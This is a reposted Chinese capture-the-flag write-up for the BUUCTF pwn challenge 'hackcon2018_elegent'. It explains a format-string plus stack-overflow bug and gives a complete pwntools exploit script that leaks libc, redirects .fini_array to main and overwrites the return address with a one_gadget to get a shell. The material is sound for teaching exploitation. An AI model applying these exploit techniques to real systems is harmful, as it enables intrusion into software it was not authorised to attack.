ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[BUUCTF-pwn] hackcon2018_elegent

2021-12-31 21:03:22  阅读:132  来源: 互联网

标签:-% BUUCTF libc elegent ret start pwn main


难度不大,坑点巨多。

全程没几句话,一个明显的printf+溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char format[64]; // [rsp+10h] [rbp-40h] BYREF

  printf("Hola %s bois\n", "sup");
  puts("Give me some inputz: ");
  fflush(_bss_start);
  __isoc99_scanf("%128s", format);
  printf(format);
  putchar(10);
  fflush(_bss_start);
  return 0;
}

坑:

  1. 用scanf(%128s)读入数据,中间就不能带0,然后也不能带\n等
  2. 由于不能带0,printf的地址就只能写一个,而且这个地方高位原来不能有数据,必需选个0或者3-4位的位置;
  3. 由于不能带\n 就只能在最后写一个地址,如果要在got表上写东西就不行了,got表位置都来0x0a;
  4. 程序直接写在main里没有循环,如果覆盖_libc_start_main_ret就不能用printf获取libc,而且后边的地址没有libc上的,只有libc后边的地址,但这个地址不稳定,在远程相应位置没有,而且在不同的libc的情况下找不到对应值。
  5. 最后一个坑在本地完成后,一般情况下通过修改.fini_array改为_start作成循环但这里远程改完后,所在one_gadget都不能用,需要改成main。原题是2.19 在buu上改为2.27区别不小。

完整处理方法:

  1. %17$p 获取libc并同时修改.fini_array后两字节为main 实现循环
  2. 溢出写到ret覆盖为one,而且本地4个远程3个能用。
from pwn import *

elf = ELF('./pwn')
context.arch = 'amd64'
context.log_level = 'debug'

def connect():
    global p,libc_elf,one,libc_start_main_ret,local
    
    local = 0
    if local == 1:
        p = process('./pwn')
        libc_elf = ELF('/home/shi/pwn/libc6_2.27-3u1/lib64/libc-2.27.so')
        one = [0x4240e, 0x42462, 0xc4f7f, 0xe31fa, 0xe31ee]
        libc_start_main_ret = 0x21a87
    else:
        p = remote('node4.buuoj.cn', 28452) 
        libc_elf = ELF('../libc6_2.27-3ubuntu1_amd64.so')
        one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
        libc_start_main_ret = 0x21b97

def pwn():

    #gdb.attach(p,'b*0x4006b6')
    #payload = b'AAAAAAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p'
    #0x6008c0 .fini_array 0x400630->0x400637 main
    payload = b'%1591c%11$hhnAAAA%17$p'.ljust(0x18, b'A')+ p64(0x6008c8)
    p.sendlineafter(b"Give me some inputz: \n", payload)
    
    p.recvuntil(b'AAAA')
    libc_base = int(p.recvuntil(b'AA', drop=True), 16) - libc_start_main_ret
    one_gadget= libc_base + one[5]  #local 0,1,2,4 remote 0,1,5
    print('libc:', hex(libc_base))
    
    payload = b'A'*(0x48)+ p64(one_gadget)
    p.sendlineafter(b"Give me some inputz: \n", payload)
    
    p.sendline(b'cat /flag')
    p.interactive()

connect()
pwn()

标签:-%,BUUCTF,libc,elegent,ret,start,pwn,main
来源: https://blog.csdn.net/weixin_52640415/article/details/122257992

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有